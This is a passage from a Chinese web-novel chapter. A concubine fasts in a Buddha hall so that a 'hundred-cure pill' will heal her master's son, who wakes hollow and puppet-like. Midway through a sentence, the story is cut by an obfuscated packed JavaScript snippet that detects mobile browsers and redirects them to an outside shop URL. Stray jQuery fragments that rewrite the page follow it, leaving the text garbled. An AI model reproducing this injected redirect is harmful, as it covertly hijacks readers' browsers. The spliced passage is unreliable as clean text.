“绿雀?你怎的来了?”施月容见她手中还拎着一个盒子。
绿雀福身请安,“月姨娘安好,奴婢是奉长公主之命而来,听闻您诚心为大公子斋戒供奉丹药,为您的善心所动,她也想为大公子添一些香。”
施月容听了,自然要多谢长公主善意,将那盒子留下,心内却暗暗生疑。绿雀虽是一个丫鬟,但奉的是长公主的命,连夫人她们竟没有一个人作陪,实在是奇怪。
凝香再为绿雀引路出去时,施月容关上小佛堂的门,打开盒子。果然,第一层放着檀香束,再打开第二层,竟然有几小碟饭菜层层叠在一起,只是盖的紧,没散出香味。
里面还有张纸条。
施月容心下顿时明白,是梁弋珩的面子大,求得长公主的名号使,只是他自己怎的没来。莫不是她说话不好听,不如其他女子体贴心意?
施月容心内忖度着,眼前的饭菜色泽诱人,虽然腹中饥饿,但她还是只吃了几口,总不能斋戒三日,人的面色还愈加红润吧。
将那盒子重新盖好,施月容又将长公主送来的檀香点上,希望真能为谢允起增添点福气吧。无聊时将百愈丹拿出瞧瞧,仍然是最初的模样,不知明日谢允起吃完有什么反应,是醒了?还是立刻神智恢复如常,那他还认识自己这个人吗?
困惑,迷茫,不敢再想,于是她重读一册白日里小宁送来的话本子,试着自己往后写一写,片刻后,方知什么叫狗尾续貂。
有些挫败。又不知那《闹东宫》有没有成功卖予谢允仪和林小姐她们。
渐渐地,施月容只觉得眼皮子有些沉重,不知不觉沉沉睡去。
她醒来时已至中午,一睁眼就见小宁带着担心的眼神望着她,“姨娘,你没事吧。我怎么叫你都叫不醒。”
“无事。”施月容“哧”的一声笑了,这傻丫头以为自己晕过去了。
“我是在这里关了两天,不知外面的事,又思虑着卖书的事情,直至昨晚才睡了个囫囵觉。”施月容向她解释道。又见她带着一碗洒了香油的水过来,谢府真没几个人担心她的命。
“今日怎的你来送水?”
小宁听这话,便神神秘秘地朝身后左右看了看,然后说道,“昨儿个傍晚的时候,二公子回家,跟着了魔一样,就在春晖堂,当着老夫人和二位夫人的面,说自己要娶妻,娶的还是个细玉河上卖唱的。”
施月容听得也睁大双眼,“卢夫人如何说?”
“卢夫人当然不同意,一时之间差点气晕过去。二公子争说那女子只是卖唱讨生计,卢夫人叫人捆了他去祠堂跪着,脸色难看的啊。”小宁说着,想起当时那场面也有些害怕呢,又说道,“姨娘,你说咱们当初看见二公子去添香楼的时候,是不是就应该告诉卢夫人啊。”
施月容摇摇头,无论当时说与不说,二公子已经把心放出去了,不在这唱歌的女子身上,或还有别的女子,顿时也明白弄墨姨娘当下的处境了。
卢夫人强加给二公子他不喜欢的女子,对于他们二人来说都是折磨。
施月容借着小宁的力颤颤巍巍站起,身上酸疼,在屋内走了两步,又问道这两日谢允起的情况,说仍是昏迷的状态,连夫人一日看望两次,谢将军带着四公子只来了一次。
“四公子回来了?”
“是,百愈丹一事,已被皇后娘娘知晓。”
“怎么这么大动静呢……”施月容说着,若有所思。
“君姑娘也遣人来信,说是花容姑娘失踪那日,校尉徐销出营替睿国公世子办事。”小宁差点儿忘了这茬重要事,“姨娘,要这样也说得通,那睿国公世子可是京城出了名的荒淫无道。都说睿国公早年丧妻,太惯孩子了才这样。”
“只是那徐销却也生了场重病死了。”她一边说着一边摇头,似是叹息坏人的报应。
“死了?”施月容说着,抚了一下袖间梁弋珩昨夜传来的纸条,那徐销身亡一事,她此时才知。
君姑娘每日混迹于花楼坊内,死了哪些恩客她自是知道快些。
而青剑从去往西郊,捉拿无人,方知徐销竟在大庆典后就暴毙身亡了,着实奇怪。
他将消息低语于梁弋珩时,自家主子神色没变,继续举杯与皇子们、世家子弟饮酒,他们面上都笑意盈盈,一片和谐,而不足五十米远处,下方是一个深约数十尺的巨大角力场,此时正有两个大汉在里面角力相搏,引得上面看戏的人止不住喝彩。
“弋珩这是又有什么忙事?如今约你可不容易,休想中途退场。”大皇子见青剑退下,笑着端杯走近说道。
梁弋珩也起身举杯说道,“琐事而已。”
“你的琐事想必也是大事,如今父皇将众多事情安排你去办,可见对你的信任。”大皇子邀二皇子说道,“不过我看如今还是二弟最舒服,在家修身养性,快哉快哉。”
二皇子仿佛没听见他的嘲弄,望过来看了一眼,又继续转向那角力的二人了。
“都是圣上看我平日里潇洒惯了,找些事做罢了。谁不知如今能出入御书房伴圣上批折子的就是大皇子您了。”梁弋珩说着抬举的话,又敬一杯酒。
这话自是将大皇子哄的开心,却见这时下面那角力中的一人赢了,不远处坐着的睿国公世子徐秉理气的拍桌跳起,那输的人原是他下注的。
赢的人则是二皇子手下的,他拿了两颗金元宝放在托盘里让人送过去赏。
众人纷纷感叹还是二皇子出手阔绰。
梁弋珩和大皇子看完相视一笑,只听大皇子又道,“这睿国公世子虽然纨绔,但着实是个孝子,只是不知那虚言和尚当真那么神?炼制的丹药有如此妙效?”
梁弋珩摇头,世间万事事,谁敢全盘否定。
“若真有效,只怕父皇真要万岁万岁万万岁了。”大皇子感慨道。
梁弋珩的心思早已飘走,他想着还在佛堂里跪着不能见天日的施月容,眼见三天之期到了,这事如何收场。
正午的太阳直射入这佛堂的小院,平日里无人问津的地儿现下挤得水泄不通。
带头的是谢老夫人和那虚言和尚,谢将军和二位夫人在其后也翘首以盼等着门口那株香燃完,谢允知、谢允仪等人的面色也是如出一辙的沉重。
突然,那香燃成最后一捻灰落下,虚言和尚“嗯”了一声,说道,“时辰已至,请开门。”
小宁早已等不及推门,先行去扶跪在堂中的施月容。
施月容亦有一天滴水未沾,整个人没什么精气神,靠在小宁身上,旁观着谢家那一众长辈纷纷围住百愈丹,可见那丹并没变什么样,皆是大失所望的样子。
虚言和尚却大呼,“好极,好极,快送服于大公子。”那丫鬟小厮们都为他让路。
施月容见这一行人急吼吼来又急吼吼去,竟似那年下里热闹闹的戏班子一样。最后却只有谢允仪出门前走近瞧自己,只是她的身影渐渐重重叠叠,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129512|196197||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她的惊呼下,施月容阖眼,也就不知后事了。
这一觉施月容睡的并不安稳,她知自己已不在那个黑幽幽的小佛堂,耳边时常有哭笑声音,又听着佛号时不时念起。
总之,热闹得很。
这时嘴边有温热的甜水,随着那甜水逐渐进入喉间,施月容逐渐睁开眼,只见榻前只有王妈妈一人,正在给自己喂水。
见自己醒过来,她大喜过望,“姨娘,您躺了一天终于醒了。”
“那丹?”施月容思路清楚的很,就是觉得腹中疼痛难忍烧的慌。
王妈妈是个贴心的,知她是胃肠损了,劝说道,“您先喝了这当归红糖水,大夫说您眩晕是要吃些甜的,小米粥一直在煨着等您醒来了。”
施月容点头,一边喝着一边听王妈妈说道,“这丹真是神了,昨天大公子吃完,扎了两针就醒来了。”
施月容手上动作一停,“真醒了?”而后她指着头问,“这儿呢?”
王妈妈笑说,“好了,都好了,姨娘您的好日子在后面。就是……”
施月容没听王妈妈说完,只听得那两个“好了。”
她掀开被子连鞋都没穿,赤着脚跑到谢允起房中,就见谢允起坐在窗前翻书,连夫人坐在身旁用怜爱的眼光看着他。余下还有梁弋珩、卢灵竹、陈双慧等几位小辈在座,应当是相约一起来的。还有个男子不认得,只是眼神见她时垂涎不已,想必是睿国公世子。
见施月容赤着脚也未梳洗就冲过来,连夫人虽颇为不悦,但想着也有她一番苦劳,便骂道身后跟来的王妈妈,“你是个眼瞎的吗?看顾不好主子?”
王妈妈一直请罪,将披风裹在施月容身上,还未为她穿上鞋,施月容已推开王妈妈,走到谢允起身边。
一路走过,梁弋珩见她这样魂不守舍又失礼的样子,手中握拳,心内却稳操胜券,面上仍挂着笑,好似十分为谢允起高兴。
“起儿,来看是谁,这是你的姨娘,快叫月儿。”连夫人哄着谢允起。
施月容瞧着他转身。谢允起面色沉寂,无喜无悲的,如同一块木头,还是之前的面庞,却没了熟悉的感觉,他眼神空洞,但却是十分听话,“月儿。”他唤她,毫无感情。
“真是好起儿,你继续看书吧。”
谢允起得了连漪的令,又坐在桌前,翻看那用来给孩童启蒙用的《三字经》。
连夫人笼着众人出门,卢灵竹和陈双慧在背后面面相觑,这算好了吗?像是好了,不如此前,小孩子一般玩耍闹腾,可若说全好了,一言一行,却需要人在旁随时提点,如同个牵线木偶似的。
“起儿如今才刚好,还需要些时日适应。只是以后大家都知道,我将军府的大公子是个正常人,我连漪,也没生个傻子。”
几个小辈不知说什么,都口中称“是”,随着连夫人一同离开,梁弋珩路过施月容时,瞬时悄无声息的,她手中被塞了个纸条。
施月容抬头望去,只见他潇洒的背影,倒是撞上了卢灵竹担心回望的一眼。
等着人都出了院子,凝香走近嘱咐施月容,“夫人说了,姨娘这几日将身子养好,就和大公子行周公之礼。”
施月容倏地望向她,眼神里全是拒意,“他不……”
“夫人也说,您和公子行礼时,请个有经验的妈妈在旁边一点儿一点儿教公子,总会行的。”凝香说着,见施月容面如死灰,最初心内对她的那点儿羡慕也全然没有了。